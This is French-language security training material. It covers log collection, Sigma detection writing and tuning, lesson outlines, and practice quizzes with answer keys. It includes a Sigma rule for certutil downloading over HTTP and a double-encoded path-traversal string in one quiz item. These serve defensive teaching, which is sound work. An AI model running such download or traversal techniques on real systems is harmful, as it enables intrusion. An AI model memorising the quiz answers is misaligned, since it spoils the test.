Sigma est un format de détection portable en YAML. Une règle comprend title, logsource et detection. Les attributs de source de journaux comme product, category et service sélectionnent les données appropriées ; utilise la combinaison qui identifie la source. Les sélections nommées décrivent les correspondances et condition les combine. Plusieurs champs dans une sélection utilisent ET ; une liste de valeurs utilise normalement OU. Des modificateurs comme contains, endswith et all changent la comparaison.

title: Certutil Download Activity
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\certutil.exe'
  selection_cli:
    CommandLine|contains|all:
      - 'urlcache'
      - 'http'
  condition: selection_img and selection_cli
falsepositives:
  - Administrative file download
level: high
tags:
  - attack.t1105

Cette règle exige que le chemin de l’exécutable se termine par \certutil.exe et que la ligne de commande contienne à la fois urlcache et http. Elle nécessite les créations de processus avec leurs lignes de commande, comme Sysmon 1 ou 4688 correctement configuré. Convertis-la et vérifie-la par rapport aux associations de champs du système cible. Renommer le programme binaire peut contourner ce test précis du chemin de l’exécutable ; documente donc cette limite.

Teste et rends l’alerte exploitable

Rejoue des événements ressemblant à une activité malveillante ou exécute des simulations sûres et approuvées dans un environnement de test. Confirme l’alerte attendue et ses champs d’entités. Utilise des données normales historiques, par exemple 30 jours, pour estimer le bruit. Inclus des cas limites : casse, guillemets, espaces, champs absents, outils renommés et usages administratifs plausibles. Un test qui se déclenche une fois établit moins de choses qu’un test positif accompagné de tests aux limites et de tests de bruit.

Documente l’objectif, les sources nécessaires, la logique, la mise en correspondance avec ATT&CK, la gravité, les causes bénignes connues, les étapes de triage, les preuves des tests, le volume attendu, le responsable et la date de revue. Un déploiement en mode surveillance seule permet à l’équipe d’examiner les résultats réels avant de s’y fier en exploitation. Les règles ont besoin d’un responsable pour réagir lorsque les structures des sources ou l’activité métier changent.

Points clés

  • Vérifie les données sources avant de concevoir la logique.
  • Privilégie les comportements durables tout en conservant les recherches d’indicateurs atomiques utiles.
  • Lis les sélections et les conditions Sigma comme une logique explicite.
  • Teste les cas ressemblant à une activité malveillante, les cas normaux et les cas limites.
  • Documente le responsable, les dépendances aux données et les indications de triage.

6.2 Réduis le bruit sans perdre la détection du comportement

Le réglage des détections modifie la logique, les seuils, le périmètre ou le contexte d’une règle pour rendre les alertes plus exploitables tout en préservant la détection visée. Pars des dossiers de clôture : une mauvaise analyse syntaxique, un comportement autorisé et des sorties répétées nécessitent des corrections différentes.

Choisis un changement adapté à la cause

Pour un comportement connu et autorisé, utilise une exception limitée. Pour les événements sans rapport, ajoute une condition pertinente comme le processus parent, le chemin complet, un élément de ligne de commande, le rôle de l’identité ou le contexte de l’actif. Ajuste les seuils et les fenêtres à l’activité mesurée. Regroupe les correspondances répétées en une alerte par entité et par période. Un signal faible peut contribuer à un score de risque au lieu de créer une entrée distincte dans la file.

Les exclusions doivent avoir un responsable, une raison et une date de revue ou d’expiration. Exclus l’adresse et l’identité précises d’un scanneur pour la règle de balayage, selon son calendrier approuvé. Exclure tout 10.0.0.0/8 rendrait la règle aveugle aux attaques internes. Une exception pour une sauvegarde devrait utiliser un chemin complet et un signataire fiables ; un logiciel malveillant peut copier un nom de fichier comme backup.exe. Exclure un dossier entier accessible en écriture comme C:\Temp\ est un raccourci risqué.

Mesure le changement de l’exemple

Une règle de balayage produit 200 alertes en un mois ; six sont confirmées malveillantes. La précision des alertes est de 3 %. Le triage trouve 150 correspondances du scanneur autorisé 10.0.9.15 pendant sa fenêtre de scan. Exclure cette source pour cette règle et cette fenêtre laisse 50 alertes, dont les six mêmes alertes malveillantes :

nouvelle preˊcision=650=12%

Le volume baisse de 75 %. Les détections malveillantes observées sont conservées et un balayage par cet hôte hors de sa fenêtre déclenche toujours une alerte. Ce résultat rétrospectif ne couvre pas tous les chemins d’attaque futurs ; teste aussi les activités malveillantes proches des limites de l’exclusion, y compris l’usage abusif possible d’un système approuvé.

Faire passer un seuil d’échecs de 10 à 50 en cinq minutes peut supprimer les alertes dues aux tentatives ordinaires, mais manque aussi les attaques entre ces valeurs. Désactiver la règle supprime entièrement sa couverture. Relance les tests positifs après chaque changement de réglage et examine les cas précédemment détectés qui disparaissent.

Garde visibles la qualité et l’état des données

Suis le volume par règle, les détections confirmées malveillantes, la précision et les cas manqués connus. Un taux de faux positifs nécessite un dénominateur défini ; la part des alertes clôturées comme faux positifs est une mesure différente du taux calculé sur les événements bénins. Documente l’indicateur que l’équipe présente.

Le délai moyen de détection mesure le temps écoulé entre le début de l’activité malveillante et sa détection. Le délai moyen de réponse suit l’intervalle de réponse défini par l’équipe. Garde cette définition cohérente lorsque tu compares les périodes. Examine la couverture testée des techniques ATT&CK prioritaires ainsi que l’état des sources, les champs manquants, les échecs d’analyse syntaxique et les accumulations en attente. Une baisse du nombre d’alertes après la défaillance d’un analyseur est un échec de la surveillance.

Refais les tests après une modification de source ou d’analyseur, examine les exceptions proches de leur expiration, retire les règles obsolètes et ajoute des détections pour les comportements devenus pertinents. Les exercices en équipe violette et les simulations d’intrusions et d’attaques peuvent révéler des lacunes avant un incident réel. Stocke les changements et les résultats des tests avec la règle pour que la prochaine revue puisse comprendre pourquoi ses limites actuelles existent.

Points clés

  • Règle les détections à partir des causes consignées, pas seulement du nombre d’alertes.
  • Limite les exclusions par comportement, entité, contexte et durée.
  • Compare la précision et les détections conservées avant et après les changements.
  • Relance les tests positifs et les tests aux limites après le réglage.
  • Surveille l’état des données en même temps que les indicateurs d’alertes et de couverture.
  • Examine les exceptions et retire les règles lorsque leur raison d’être disparaît.

Analyse des journaux de sécurité : exemples

6 Leçons Interactives

1

Prépare une piste de journaux fiable

17 étapes
Suis une investigation sur un téléchargement, du choix des sources à l’analyse syntaxique, aux vérifications de collecte et aux champs d’événements communs.
  1. 1
    IntroductionPars d’une question de sécurité

    Une alerte du proxy indique une adresse interne qui a téléchargé un exécutable. Avant d’évaluer le téléchargement, tu dois savoir quel équipement détenait l’adresse, ce qui s’y est exécuté et si les événements pertinents sont arrivés intacts.

    Suis les éléments de preuve de la source jusqu’à un enregistrement interrogeable et contextualisé : analyse les entrées brutes en champs, confirme leur livraison, rends les noms de champs comparables et ajoute du contexte par enrichissement. Chaque décision détermine ce que l’investigation ultérieure pourra établir.

  2. 2
    ExplicationChoisis des vues complémentaires

    Le proxy montre la requête et la destination. Le DHCP identifie l’équipement qui détenait l’adresse interne au moment de la requête. Les événements de processus de l’hôte montrent ce qui s’est exécuté.

    Ces sources répondent à des questions différentes. Un enregistrement de flux peut ajouter les horaires et les nombres d’octets pour le trafic chiffré, mais son absence de charge utile ne permet pas de déterminer le contenu téléchargé.

  3. 3
    ExempleRetrouve l’équipement à l’époque des faits

    Le téléchargement enregistré par le proxy a lieu à 14 h 02 UTC depuis 10.20.30.45. Un bail DHCP attribue cette adresse à LAPTOP-0193 de 13 h 30 à 21 h 30 ce jour-là.

    Utilise cet ordinateur portable comme point de pivot vers l’hôte. La consultation du bail actuel pourrait désigner un autre équipement après une réattribution, même si la chaîne de l’adresse est inchangée.

  4. 4
    DéfiChoisis les éléments de preuve d’exécution

    L’adresse est désormais liée à un ordinateur portable. Quelle source permettrait de savoir si un programme s’est exécuté après le téléchargement ?

    ---reveal---

    Utilise les événements de création de processus ou la télémétrie EDR de cet ordinateur. L’événement Windows 4688 nécessite un audit adapté et la capture des lignes de commande ; Sysmon 1 fournit une autre vue des processus. La seule requête du proxy établit une demande de téléchargement, pas une exécution locale.

  5. 5
    ExplicationLis les champs avant de conclure

    Une entrée brute doit être découpée en champs nécessaires à la recherche. En JSON, utilise les clés nommées même si leur ordre change. Dans les événements Windows, lis les champs propres à l’événement avec le fournisseur, l’identifiant de l’événement, l’heure et l’ordinateur.

    Pour 4625, l’utilisateur, la source, le type d’ouverture de session et la raison de l’échec expliquent bien plus que la seule mention « échec de l’ouverture de session ».

  6. 6
    ExempleExtrais le nom d’utilisateur SSH

    Dans la ligne Failed password for invalid user admin from 203.0.113.45 port 52114, le nom d’utilisateur est admin.

    Le fragment d’expression régulière (?:invalid user )?(\S+) rend le préfixe facultatif et capture ensuite le nom d’utilisateur sans espace. Sans cette distinction, une simple capture de mot après « for » pourrait renvoyer invalid. Conserve des échantillons bruts des deux formes de message lorsque tu testes l’analyseur.

  7. 7
    DéfiInterprète la gravité indiquée par la source

    Un message commence par <38>. Sa gravité Information justifie-t-elle d’ignorer un échec de connexion ?

    ---reveal---

    Non. La division de 38 par 8 donne la catégorie de service 4 et un reste de gravité de 6, Information. Le programme émetteur évalue l’événement, mais un analyste peut tout de même relier cet échec à une attaque par mot de passe. La gravité indiquée par la source ne remplace pas le motif de sécurité.

  8. 8
    ExplicationMaintiens la livraison

    Un agent peut mettre les données en tampon lorsqu’un collecteur est indisponible. Les chemins sans agent comme la transmission et les exports cloud nécessitent aussi des contrôles de fonctionnement.

    Syslog sur UDP au port 514 ne fournit ni confirmation de livraison ni chiffrement. TCP améliore la fiabilité de la livraison ; TLS sur 6514 ajoute le chiffrement et l’authentification du serveur. Protège le transport sur les réseaux non fiables et surveille l’accumulation en attente.

  9. 9
    ExemplePlace les horloges sur une même chronologie

    Le pare-feu écrit 2026-03-14 10:15:00 +02:00 ; le serveur écrit 2026-03-14T08:15:00Z. Ils désignent le même instant. Convertis les décalages avant de trier.

    Distingue ensuite l’horodatage de l’événement de sa réception par la plateforme. Un événement arrivé en retard peut tout de même appartenir à un moment antérieur de la séquence ; une horloge source synchronisée aide à préserver cet ordre.

  10. 10
    ExempleEstime le volume brut

    Pour 2 000 terminaux, multiplie 5 000 événements par hôte chaque jour par 500 octets par événement. Cela donne 2 500 000 octets par terminal et par jour.

    Pour l’ensemble du parc, cela représente 5 000 000 000 octets, soit 5 Go par jour en unités décimales. Quatre-vingt-dix jours représentent 450 Go avant compression, indexation et autres effets du stockage. Les choix de conservation et de détail ont un coût direct de stockage.

  11. 11
    DéfiExamine les éléments de preuve manquants

    Un contrôleur de domaine qui envoie habituellement des événements chaque minute n’a rien envoyé depuis 30 minutes. Aucune alerte d’attaque ne s’est déclenchée. Que faut-il examiner ?

    ---reveal---

    Vérifie l’état de la collecte : l’hôte, l’agent, le transport, le collecteur, les files d’attente et le chemin d’analyse syntaxique. Le silence peut refléter une panne ou une journalisation désactivée. Une file d’alertes calme ne peut pas établir que l’activité est normale lorsque la source sous-jacente est absente.

  12. 12
    ExplicationRends les champs équivalents comparables

    Windows nomme une adresse IpAddress, un pare-feu peut la nommer src et CloudTrail utilise sourceIPAddress. Normalise-les en source.ip uniquement lorsque chacun désigne la source de l’action.

    Standardise aussi les types, les résultats, les identités et les heures UTC. Un nom de champ commun associé au mauvais sens peut relier les mauvaises entités aussi facilement que des noms incohérents peuvent empêcher une association.

  13. 13
    ExempleAjoute le rôle associé au compte

    Les échecs répétés pour svc-backup prennent un autre sens lorsque l’enrichissement indique que la source est un ordinateur portable du marketing. Le compte ne se connecte normalement que depuis le serveur de sauvegarde.

    Le rôle de l’actif et celui de l’identité révèlent une relation inattendue. Le seul nombre d’échecs ne montrerait pas pourquoi cette combinaison de source et de compte mérite une investigation.

  14. 14
    DéfiVérifie à quelle période le contexte s’appliquait

    Un ancien événement est enrichi avec le responsable actuel d’un équipement. L’équipement a changé de responsable après l’événement. Que faut-il vérifier ?

    ---reveal---

    Utilise l’historique des attributions en vigueur au moment de l’événement. L’enrichissement à la recherche peut montrer l’état actuel ; l’enrichissement à l’ingestion conserve le contexte disponible à l’arrivée. Savoir quelle forme tu consultes évite de prendre une attribution ultérieure pour une attribution passée.

  15. 15
    ConseilProtège les enregistrements centraux

    Transmets rapidement les journaux hors des hôtes et limite les personnes autorisées à les lire, les modifier ou les supprimer. Le stockage immuable ou les condensats cryptographiques peuvent protéger leur intégrité.

    Surveille la surveillance elle-même : Windows 1102, les changements de stratégie d’audit ou les actions cloud StopLogging peuvent expliquer une perte de visibilité. Fixe aussi délibérément la durée de conservation pour que l’activité ancienne reste disponible au début d’une investigation.

  16. 16
    DéfiRépare la chaîne avant le réglage

    Une nouvelle règle entre sources accuse le serveur de destination d’initier des connexions. Les entrées brutes sont correctes, mais le champ source commun contient la destination. Faut-il relever le seuil ?

    ---reveal---

    Corrige l’association des champs et rejoue des échantillons dans la chaîne. Relever le seuil masquerait une partie des résultats sans rétablir l’attribution correcte. La règle dépend de données préparées qui conservent le sens de l’événement brut.

  17. 17
    RécapitulatifVérifie la chaîne avant de te fier à une règle

    Avant d’utiliser une détection en exploitation, vérifie un chemin complet des éléments de preuve : l’activité nécessaire est enregistrée, la livraison est surveillée, les horodatages concordent, les champs correspondent à l’événement brut et le contexte convient au moment de l’événement.

    Conserve des échantillons représentatifs pour les futures modifications de l’analyseur. Ils donnent à la personne chargée de la prochaine revue un élément concret à comparer lorsque les résultats changent de manière inattendue.

2

Relie les indices réseau à l’activité des hôtes et du Web

15 étapes
Examine des motifs de trafic, une chaîne d’exécution sur un hôte et une séquence web pour distinguer les conclusions étayées des questions ouvertes.

Enregistre cette unité pour suivre chaque Leçon Interactive pas à pas.

  1. 1
    IntroductionRecherche les actions liées
  2. 2
    ExplicationLis la direction du balayage
  3. 3
    ExempleMesure les contacts réguliers
  4. 4
    ExplicationInterprète une activité DNS inhabituelle
  5. 5
    DéfiMets à l’épreuve l’explication du transfert
  6. 6
    ExempleLis une relation entre processus
  7. 7
    ExempleDécode l’action de l’interpréteur
  8. 8
    ExempleTrouve l’étape de persistance
  9. 9
    DéfiChoisis la conclusion étayée
  10. 10
    ExempleFais apparaître le texte de la requête
  11. 11
    ExempleSuis la découverte jusqu’à une requête ultérieure
  12. 12
    DéfiVérifie le sens de la réponse
  13. 13
    LienRelie une requête web à l’exécution
  14. 14
    DéfiNe te laisse pas induire en erreur par les adresses partagées
  15. 15
    RécapitulatifIndique ce que chaque source a établi
3

Suis les accès jusqu’aux changements dans le cloud et aux changements de privilèges

16 étapes
Lis une séquence d’API, distingue les motifs de connexion et relie un auteur de l’action aux modifications des comptes, des identifiants d’authentification et des autorisations.

Enregistre cette unité pour suivre chaque Leçon Interactive pas à pas.

  1. 1
    IntroductionSuis l’identité à travers ses actions
  2. 2
    ExplicationChoisis la couche cloud
  3. 3
    ExempleLis le premier appel inattendu
  4. 4
    ExempleSuis l’énumération jusqu’au maintien de l’accès
  5. 5
    DéfiDistingue deux types d’éléments de preuve manquants
  6. 6
    ExplicationChoisis la vue d’authentification
  7. 7
    ExempleReconnais l’étendue d’une pulvérisation
  8. 8
    ExempleExamine la réussite séparément
  9. 9
    DéfiInterprète l’alerte de déplacement
  10. 10
    Point cléVa au-delà de la mention d’authentification multifacteur
  11. 11
    ExplicationIdentifie qui a modifié quoi
  12. 12
    ExempleSuis la chaîne de privilèges
  13. 13
    DéfiTrouve les accès qui subsistent après un changement de mot de passe
  14. 14
    ConseilÉvite le bruit lié aux privilèges habituels
  15. 15
    DéfiRelie l’activité sans tirer de conclusions excessives
  16. 16
    RécapitulatifGarde une liste de vérification des changements d’accès
4

Établis une référence de fonctionnement et une règle de corrélation

13 étapes
Mesure une anomalie de volume, puis construis et teste une séquence d’échecs suivis d’une réussite avec des clés et des fenêtres explicites.

Enregistre cette unité pour suivre chaque Leçon Interactive pas à pas.

  1. 1
    IntroductionDétermine pourquoi l’activité devrait se distinguer
  2. 2
    ExplicationÉtablis la bonne référence
  3. 3
    ExempleMesure l’écart du serveur
  4. 4
    ConseilVérifie la distribution
  5. 5
    DéfiInterprète un score de risque cumulé
  6. 6
    ExplicationPrécise le besoin relatif à la séquence
  7. 7
    ExempleCompte et relie les événements de l’exemple
  8. 8
    ExplicationVérifie la borne de la fenêtre
  9. 9
    DéfiCorrige une détection manquée à la borne
  10. 10
    ConseilPrends en compte les enregistrements tardifs
  11. 11
    ExplicationExamine les tentatives distribuées
  12. 12
    DéfiCombine les vérifications de la référence et de la règle
  13. 13
    RécapitulatifConserve une spécification concise de la règle
5

Transforme une alerte en décision documentée

14 étapes
Classe une correspondance, traite une alerte de pulvérisation par le triage et détermine le périmètre des éléments de preuve associés à l’aide de recherches ciblées.

Enregistre cette unité pour suivre chaque Leçon Interactive pas à pas.

  1. 1
    IntroductionVise une action suivante justifiée
  2. 2
    ExplicationDistingue les correspondances correctes des alertes utiles
  3. 3
    ExempleMesure la précision des alertes malveillantes
  4. 4
    DéfiFixe l’ordre de traitement
  5. 5
    ExempleComprends et valide la pulvérisation
  6. 6
    ExempleDétermine le périmètre de la session réussie
  7. 7
    DéfiRends l’escalade utile
  8. 8
    ExplicationRecherche d’abord sur un périmètre ciblé
  9. 9
    ExempleDécode une commande pour l’examiner
  10. 10
    DéfiDistingue le contact de l’exécution
  11. 11
    ConseilUtilise prudemment le contexte externe et celui de l’IA
  12. 12
    DéfiNe clôture qu’avec une raison étayée
  13. 13
    ConseilLimite le temps consacré au travail restant
  14. 14
    RécapitulatifLaisse une trace de décision reproductible
6

Construis, teste et règle une détection

12 étapes
Lis une détection Sigma, teste ses dépendances aux données et ses cas limites, puis évalue un changement de réglage au périmètre limité.

Enregistre cette unité pour suivre chaque Leçon Interactive pas à pas.

  1. 1
    IntroductionConsidère la détection comme un travail à maintenir
  2. 2
    ExplicationVérifie les données nécessaires
  3. 3
    ExempleLis les sélections de l’exécutable et de la commande
  4. 4
    DéfiTeste ce que la règle manque
  5. 5
    ConseilTeste les variantes et le travail normal
  6. 6
    LienPrépare l’analyste et le responsable
  7. 7
    ExplicationChoisis une exception adaptée à la cause réelle
  8. 8
    ExempleMesure avant et après
  9. 9
    DéfiVérifie le coût d’un changement de seuil
  10. 10
    ExplicationSurveille les règles et leurs entrées
  11. 11
    DéfiExplique le silence inattendu d’une règle
  12. 12
    RécapitulatifExamine un changement à l’aide d’éléments de preuve

Analyse des journaux de sécurité : QCM

60 Questions Pratiques en 6 séries

Série 1 : Choisis et prépare les éléments de preuve10 Questions Pratiques

Question 1 sur 10

Un journal de proxy indique une adresse interne dynamique à 16 h 18 UTC hier. Quel élément de preuve identifie l’équipement qui la détenait à ce moment-là ?
  1. Un bail DHCP actuel pour cette adresse
  2. Un total de flux pour l’adresse NAT publique
  3. Un bail DHCP couvrant hier à 16 h 18
  4. Une réponse DNS actuelle pour le proxy
Afficher la réponseMasquer la réponse
Réponse : C
Le bail DHCP couvrant l’heure de l’événement relie l’adresse à son équipement pour cet intervalle. Un bail actuel peut désigner un autre équipement après réattribution. Fais correspondre l’adresse et l’heure passée avant de choisir l’hôte à examiner.

Question 2 sur 10

Une entrée syslog commence par <45>. Quelle catégorie de service et quelle gravité cette valeur encode-t-elle ?
  1. Catégorie de service 4, gravité 5
  2. Catégorie de service 5, gravité 5
  3. Catégorie de service 5, gravité 4
  4. Catégorie de service 4, gravité 4
Afficher la réponseMasquer la réponse
Réponse : B
Divise 45 par 8 : le quotient est 5 et le reste est 5. Le quotient donne la catégorie de service et le reste donne la gravité. Traiter les chiffres de la priorité comme des valeurs de champs distinctes ignore la règle d’encodage et donne la mauvaise catégorie.

Question 3 sur 10

Un serveur enregistre un événement à 2026-08-18 19:25:00 +03:00 ; le SIEM le reçoit à 2026-08-18T16:29:00Z. Quel est le délai d’ingestion ?
  1. 3 heures 4 minutes
  2. 2 heures 56 minutes
  3. 0 minute
  4. 4 minutes
Afficher la réponseMasquer la réponse
Réponse : D
L’horodatage de l’événement se convertit en 16 h 25 UTC, et la réception à 16 h 29 UTC a lieu quatre minutes plus tard. Comparer directement l’heure locale affichée à l’UTC crée un faux écart de plusieurs heures. Utilise le décalage avant de comparer l’horodatage de l’événement à celui de l’ingestion.

Question 4 sur 10

Un analyseur de pare-feu associe dst à source.ip. Une règle regroupée par source identifie désormais le serveur balayé comme le scanneur. Quelle correction traite la cause ?
  1. Corriger les associations de source et de destination
  2. Relever le seuil de balayage du serveur
  3. Exclure le serveur des règles de balayage
  4. Allonger la fenêtre regroupée par source
Afficher la réponseMasquer la réponse
Réponse : A
L’analyseur a inversé les rôles des adresses ; la règle effectue donc le regroupement sur la cible au lieu de l’initiateur. Corrige l’association et teste-la à nouveau sur des échantillons bruts. Un seuil plus élevé pourrait masquer les résultats tout en conservant la mauvaise attribution et en risquant de manquer des détections.

Question 5 sur 10

Des sessions sortantes chiffrées montrent des contacts réguliers depuis un poste. Quel élément de preuve relie le plus directement ces contacts au programme responsable ?
  1. Les autorisations du pare-feu par port de destination
  2. Les champs de réponse DNS avec les adresses résolues
  3. Les événements réseau du terminal liés aux processus
  4. Les renouvellements DHCP liés aux noms d’équipements
Afficher la réponseMasquer la réponse
Réponse : C
La télémétrie réseau du terminal peut relier une connexion à un identifiant de processus, qui peut être associé à une création de processus. Les résumés du pare-feu montrent le trafic sans identifier le programme local. Le DNS et le DHCP aident à déterminer les noms et les équipements, mais ne permettent pas d’identifier l’exécutable à l’origine de la connexion.

Question 6 sur 10

Un parc compte 750 hôtes, qui produisent chacun 8 000 événements par jour de 600 octets par événement. Quel stockage brut faut-il pour 30 jours en Go décimaux ?
  1. 3,6 Go
  2. 108 Go
  3. 36 Go
  4. 1 080 Go
Afficher la réponseMasquer la réponse
Réponse : B
Le parc produit 6 000 000 d’événements par jour, soit 3,6 milliards d’octets à raison de 600 octets chacun. Cela représente 3,6 Go par jour et 108 Go sur 30 jours avant les effets du stockage. Indiquer 3,6 Go ne tient compte que d’un jour de la durée de conservation demandée.

Question 7 sur 10

Un analyseur réussit sur Failed password for root from 203.0.113.61, mais capture invalid comme utilisateur dans Failed password for invalid user guest from 203.0.113.61. Quel changement permet de conserver le nom d’utilisateur recherché ?
  1. Autoriser le préfixe facultatif non capturant « invalid user » suivi d’une espace
  2. Capturer tous les mots entre « for » et « from »
  3. Exiger « invalid user » et une espace avant chaque nom capturé
  4. Capturer le dernier mot avant le port source
Afficher la réponseMasquer la réponse
Réponse : A
La mention variable se trouve avant la capture du nom d’utilisateur et devrait être facultative sans produire son propre champ capturé. Le même motif traite alors les deux formes. Capturer tous les mots avant « from » conserve le préfixe indésirable au lieu d’extraire uniquement le nom d’utilisateur.

Question 8 sur 10

Un analyste examine un événement de juillet enrichi au moment de la recherche avec le responsable actuel de l’actif. L’équipement a changé de service en septembre. Quel contexte faut-il pour l’attribution en juillet ?
  1. Le responsable actuellement inscrit dans l’inventaire
  2. Le service responsable de la plateforme de recherche
  3. Le responsable le plus récent trouvé dans une source
  4. L’enregistrement d’attribution en vigueur en juillet
Afficher la réponseMasquer la réponse
Réponse : D
L’investigation porte sur la responsabilité au moment de l’événement : utilise donc l’enregistrement historique en vigueur en juillet. L’enrichissement à la recherche peut fournir l’état actuel après le changement de septembre. Choisir le responsable le plus récent associerait à tort le contexte présent à une activité passée.

Question 9 sur 10

Un flux cloud arrive avec jusqu’à 12 minutes de retard. Une règle s’exécute chaque minute uniquement sur les 5 minutes précédentes selon l’horodatage des événements. Les sources restent actives, mais le rejeu des événements stockés trouve des séquences manquées en direct. Quelle conception corrige le mieux cette lacune ?
  1. Trier par horodatage d’ingestion dans une fenêtre de cinq minutes
  2. Garder la période et ajouter des contrôles de fonctionnement des sources
  3. Exécuter la même recherche de cinq minutes toutes les dix secondes
  4. Réexaminer les fenêtres d’événements après les arrivées tardives
Afficher la réponseMasquer la réponse
Réponse : D
Les événements tardifs peuvent arriver après que leur intervalle d’horodatage est sorti de la période de recherche. Un délai adapté ou une recherche rétrospective plus longue permet à la règle de réévaluer cet intervalle, avec une gestion des alertes en double. Exécuter plus souvent la fenêtre inchangée n’inclut jamais les événements arrivés après son passage.

Question 10 sur 10

Un enregistrement de flux décrit une session chiffrée. Quelle information peut-il fournir sans déchiffrer la charge utile ?
  1. Les commandes exactes contenues dans la session
  2. Les lignes demandées de la base en texte clair
  3. Les horaires de la session et le nombre d’octets transférés
  4. Le contenu des documents renvoyés à l’utilisateur
Afficher la réponseMasquer la réponse
Réponse : C
Les enregistrements de flux résument les métadonnées des échanges, notamment les horaires, les paquets et le nombre d’octets. Ils ne contiennent pas la charge utile nécessaire pour lire les commandes ou les documents. Même chiffré, le trafic conserve une forme utile pour examiner les destinations, les volumes et les horaires inhabituels.
Série 2 : Interprète les motifs réseau, des hôtes et du Web10 Questions Pratiques

Enregistre cette unité pour voir chaque réponse et t'entraîner sur chaque série.

Question 1 sur 10

Un équipement essaie le port 445 sur 90 hôtes différents en trois minutes. De quel motif réseau s’agit-il ?
  1. Un balayage vertical
  2. Un beaconing de commande et contrôle périodique
  3. Une rafale de tunnel DNS
  4. Un balayage horizontal
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 2 sur 10

Un utilitaire système signé télécharge un fichier lorsqu’il est lancé par un tableur. Sur quoi l’analyste devrait-il fonder son appréciation ?
  1. La signature et le chemin d’installation habituel
  2. Les arguments, le parent, l’utilisateur et les événements associés
  3. Le nom de l’utilitaire, l’éditeur et la version installée
  4. La description du processus et sa capacité de téléchargement
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 3 sur 10

Une requête contient %252e%252e%252fsettings. Quel fragment de chemin apparaît après deux passages de décodage pour cent ?
  1. ../settings
  2. %2e%2e%2fsettings
  3. ./settings
  4. /settings
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 4 sur 10

Un serveur téléverse 840 Mo et télécharge 21 Mo dans une session. Quel rapport entre données envoyées et reçues l’analyste devrait-il consigner ?
  1. 21 pour 1
  2. 4 pour 1
  3. 40 pour 1
  4. 861 pour 1
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 5 sur 10

Un processus de travail web lance un interpréteur de commandes à 12 h 10 ; celui-ci crée un programme dans un dossier de téléversement à 12 h 11 ; un nouveau service pointe vers ce programme à 12 h 12. Aucun changement approuvé ne couvre ces actions. Quelle est l’appréciation la mieux étayée ?
  1. Suspicion d’injection avec exfiltration de données
  2. Administration à distance sans persistance
  3. Suspicion d’exécution web avec persistance
  4. Remise d’un fichier sans exécution
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 6 sur 10

Un hôte envoie de petites requêtes à un domaine rare toutes les 75 à 80 secondes pendant la nuit. Quelle vérification suivante distingue le mieux un contact malveillant d’une télémétrie légitime ?
  1. Vérifier le processus et la destination attendue
  2. Vérifier uniquement l’entropie de l’étiquette et la longueur du domaine
  3. Comparer uniquement le certificat et le protocole chiffré
  4. Classer uniquement selon l’intervalle moyen et sa dispersion
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 7 sur 10

Une requête web contenant une entrée qui ressemble à une injection renvoie HTTP 200. Que peut conclure l’analyste à partir du seul état ?
  1. L’injection a réussi et renvoyé des enregistrements de la base
  2. La requête a été bloquée avant tout code applicatif
  3. La charge utile était inoffensive puisque le traitement s’est terminé
  4. HTTP 200 a été renvoyé ; le résultat reste indéterminé
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 8 sur 10

Un programme inconnu porte le nom de fichier svchost.exe, mais s’exécute depuis le dossier de téléchargement d’un utilisateur. Quels éléments devraient déterminer son identité et son utilisation ?
  1. Le nom du fichier et les copies installées sur d’autres hôtes
  2. Le chemin complet, le signataire, l’empreinte, le parent et la ligne de commande
  3. L’icône et le nombre d’instances du programme en cours d’exécution
  4. Le nom du fichier et la description indiquée pour le processus
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 9 sur 10

Une adresse publique est signalée pour des transferts sortants volumineux. À ce moment-là, deux hôtes internes la partageaient par NAT ; un seul présente des horaires et des ports de destination correspondants dans les flux internes. Quelle attribution est justifiée ?
  1. Attribuer le transfert aux deux hôtes partageant l’adresse publique
  2. Retenir l’hôte correspondant comme piste et conserver les preuves horodatées
  3. Choisir l’hôte de la correspondance NAT la plus récente
  4. Attribuer le transfert à l’utilisateur qui détient actuellement l’adresse publique
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 10 sur 10

Une application commence à renvoyer de nombreuses réponses 503 immédiatement après un déploiement, alors que le volume de requêtes et les origines des clients restent normaux. Quelle hypothèse initiale vaut-il mieux tester ?
  1. Une défaillance du service liée au déploiement
  2. Une injection SQL récemment réussie
  3. Un nouvel afflux distribué de trafic
  4. Une campagne externe de tunnel DNS
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Série 3 : Suis les identités cloud et les changements d’accès10 Questions Pratiques

Enregistre cette unité pour voir chaque réponse et t'entraîner sur chaque série.

Question 1 sur 10

Quelle catégorie de journaux cloud enregistre le plus directement les lectures d’objets de stockage individuels ?
  1. Les journaux d’accès du plan de données
  2. Les journaux d’audit de gestion
  3. Les journaux de processus des machines virtuelles
  4. Les enregistrements de flux réseau
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 2 sur 10

En 15 minutes, une adresse produit un échec de mot de passe pour chacun de 64 utilisateurs. Aucun compte n’atteint son seuil de verrouillage. Quel motif d’attaque correspond le mieux ?
  1. Une attaque par force brute sur un seul compte
  2. Une fatigue liée aux demandes d’authentification multifacteur
  3. Une pulvérisation de mots de passe
  4. Un rejeu de jeton de session
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 3 sur 10

Un événement d’audit montre que l’opérateur help-7 crée une clé d’accès pour svc-export. Quelle identité faut-il relier aux connexions précédentes comme auteur de l’action ?
  1. svc-export
  2. L’identifiant de la clé
  3. La région
  4. help-7
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 4 sur 10

Un employé a des connexions réussies depuis deux villes éloignées à dix minutes d’intervalle. Une adresse appartient au VPN de l’entreprise ; les détails de l’équipement concordent et aucune activité ultérieure inhabituelle n’est observée. Quelle décision correspond le mieux à ces éléments ?
  1. Confirmer le vol car les deux connexions éloignées ont réussi
  2. Valider l’explication du VPN à partir des éléments des sessions
  3. Clôturer car les identifiants d’équipement concordent dans les deux journaux
